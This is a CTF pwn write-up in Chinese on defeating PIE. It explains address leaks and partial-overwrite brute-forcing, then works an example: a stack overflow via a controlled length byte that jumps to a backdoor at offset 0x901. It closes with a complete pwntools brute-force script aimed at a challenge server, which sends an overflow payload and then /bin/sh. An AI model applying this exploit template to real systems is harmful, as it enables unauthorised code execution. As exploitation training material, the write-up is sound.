开启pie保护后的狠狠爆破

知识点

开启pie保护后,程序在每次加载时都会变换基地址,从而使gadgets失效,下面来讲绕过手法

1.如果程序中能输出当前进程中某个函数的地址,那么就可以接收它并减去ida中的地址即可得到该进程中的基地址,再用此基地址加上ida中的偏移地址就是正确的地址了

2.如果程序中有格式化字符串漏洞,可以利用该漏洞泄露某个函数的地址(之前做过一题是泄露ret地址),之后的步骤同上

3.如果什么都没有,可以采取爆破的方法。

原理:由于内存的页载入机制,PIE的随机化只能影响到单个内存页。通常来说,一个内存页大小为0x1000,这就意味着不管地址怎么变,某条指令的后3个十六进制数的地址是始终不变的。我们可以先按小端序写入两个字节,覆盖后4个十六进制数地址。这时候就会有疑问了,倒数第4个十六进制数明明不是固定的,而我们却给它覆盖掉,看似很不合理,但其实倒数第4个数也是我们要爆破的一部分,爆破本身就是随机的,所以这一点对爆破不会产生影响。

例题

image-20250705180640801

开启了pie保护,先ida看一下主函数

观察set_user和set_pwn的代码,第一个函数是从v1+140开始存41个字符,第二个函数是把s复制到v1中,而复制的长度就是第一个函数所控制的v1+180的值,而这个值可以比v1大,也就出现了栈溢出漏洞。所以我们先给第一个v1填充40后,最后一个字符放下一次栈溢出想填充的空间。

image-20250705175816783

image-20250705175842119

image-20250705175854002

我们接着往后看,发现有后门函数,我们当然想让返回地址存后门函数的地址,但是由于pie保护,我们只能知道该地址的最后3个数

image-20250705175906415

函数地址后三个数为900,但是后面试过900行不通,要901,跳过一个push rbp避免栈上混乱

image-20250705180819204

现在想一想我们第二个函数栈溢出需要多少空间,我们不需要构造rop链,只要填两个字节,剩下的交给while循环爆破就好了,所以需要的长度为0xc0+8+2=0xca,即我们第一个函数中的第41个字符要输入’\xca’,后续的爆破用的板子,见exp:

from pwn import *

context(os="linux",arch="amd64",log_level="debug")

context.terminal = ['tmux', 'splitw', '-h']

i = 0

while True:

i += 1

print(i)

io = remote('pwn.challenge.ctf.show',28145)

\#io = process('./pwn')

payload = b'a'*40

payload += b'\xca'

io.sendline(payload)

payload = b'a'*200

payload += b'\x01\x09' //09也可以改成19,29,39…

io.sendline(payload)

try:

io.recv(timeout = 1)

except EOFError:

io.close()

continue

else:

sleep(0.1)

io.sendline('/bin/sh\x00')

sleep(0.1)

io.interactive()

break